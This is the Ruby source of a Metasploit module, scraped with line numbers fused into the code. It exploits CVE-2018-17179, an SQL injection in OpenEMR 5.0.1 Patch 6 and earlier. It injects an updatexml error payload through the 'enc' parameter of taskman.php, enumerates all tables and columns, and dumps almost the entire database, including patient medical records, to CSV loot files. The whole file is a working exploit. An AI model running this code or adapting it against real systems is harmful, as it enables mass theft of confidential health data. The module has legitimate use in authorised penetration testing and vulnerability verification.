Path: blob/master/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb
19593 views
require 'csv'12##3# This module requires Metasploit: https://metasploit.com/download4# Current source: https://github.com/rapid7/metasploit-framework5##6class MetasploitModule < Msf::Auxiliary7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::SQLi1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'OpenEMR 5.0.1 Patch 6 SQLi Dump',16'Description' => %q{17This module exploits a SQLi vulnerability found in18OpenEMR version 5.0.1 Patch 6 and lower. The19vulnerability allows the contents of the entire20database (with exception of log and task tables) to be21extracted.22This module saves each table as a `.csv` file in your23loot directory and has been tested with24OpenEMR 5.0.1 (3).25},26'License' => MSF_LICENSE,27'Author' => [28'Will Porter <will.porter[at]lodestonesecurity.com>'29],30'References' => [31['CVE', '2018-17179'],32['URL', 'https://github.com/openemr/openemr/commit/3e22d11c7175c1ebbf3d862545ce6fee18f70617']33],34'DisclosureDate' => '2019-05-17',35'Notes' => {36'Stability' => [CRASH_SAFE],37'SideEffects' => [IOC_IN_LOGS],38'Reliability' => []39}40)41)4243register_options(44[45OptString.new('TARGETURI', [true, 'The base path to the OpenEMR installation', '/openemr'])46]47)48end4950def uri51target_uri.path52end5354def openemr_version55res = send_request_cgi(56'method' => 'GET',57'uri' => normalize_uri(uri, 'admin.php')58)59vprint_status("admin.php response code: #{res.code}")60document = Nokogiri::HTML(res.body)61document.css('tr')[1].css('td')[3].text62rescue StandardError63''64end6566def check67# Check version68print_status('Trying to detect installed version')69version = openemr_version70return Exploit::CheckCode::Unknown if version.empty?7172vprint_status("Version #{version} detected")73version.sub! ' (', '.'74version.sub! ')', ''75version.strip!7677return Exploit::CheckCode::Safe unless Rex::Version.new(version) < Rex::Version.new('5.0.1.7')7879Exploit::CheckCode::Appears80end8182def get_response(payload)83send_request_cgi(84'method' => 'GET',85'uri' => normalize_uri(uri, 'interface', 'forms', 'eye_mag', 'taskman.php'),86'vars_get' => {87'action' => 'make_task',88'from_id' => '1',89'to_id' => '1',90'pid' => '1',91'doc_type' => '1',92'doc_id' => '1',93'enc' => "1' and updatexml(1,concat(0x7e, (#{payload})),0) or '"94}95)96end9798def save_csv(data, table)99# Use the same gsub pattern as store_loot100# this will put the first 8 safe characters of the tablename101# in the filename in the loot directory102safe_table = table.gsub(/[^a-z0-9._]+/i, '')103store_loot(104"openemr.#{safe_table}.dump",105'application/CSV',106rhost,107data.map(&:to_csv).join,108"#{safe_table}.csv"109)110end111112def dump_all113sqli_opts = {114truncation_length: 31, # slices of 31 bytes of the query response are returned115encoder: :base64, # the web application messes up multibyte characters, better encode116verbose: datastore['VERBOSE']117}118sqli = create_sqli(dbms: MySQLi::Common, opts: sqli_opts) do |payload|119res = get_response(payload)120if res && (response = res.body[%r{XPATH syntax error: '~(.*?)'</font>}m, 1])121response122else123''124end125end126unless sqli.test_vulnerable127fail_with Failure::NotVulnerable, 'The target does not seem vulnerable.'128end129print_good 'The target seems vulnerable.'130db_version = sqli.version131print_status("DB Version: #{db_version}")132print_status('Enumerating tables, this may take a moment...')133tables = sqli.enum_table_names134num_tables = tables.length135print_status("Identified #{num_tables} tables.")136# These tables are impossible to fetch because they increase each request137skiptables = %w[form_taskman log log_comment_encrypt]138# large table containing text in different languages, >4mb in size139skiptables << 'lang_definitions'140tables.each_with_index do |table, i|141if skiptables.include?(table)142print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")143else144columns_of_table = sqli.enum_table_columns(table)145print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}(#{columns_of_table.join(', ')})")146table_data = sqli.dump_table_fields(table, columns_of_table)147table_data.unshift(columns_of_table)148save_csv(table_data, table)149end150end151print_status("Dumped all tables to #{Msf::Config.loot_directory}")152end153154def run155dump_all156end157end158159160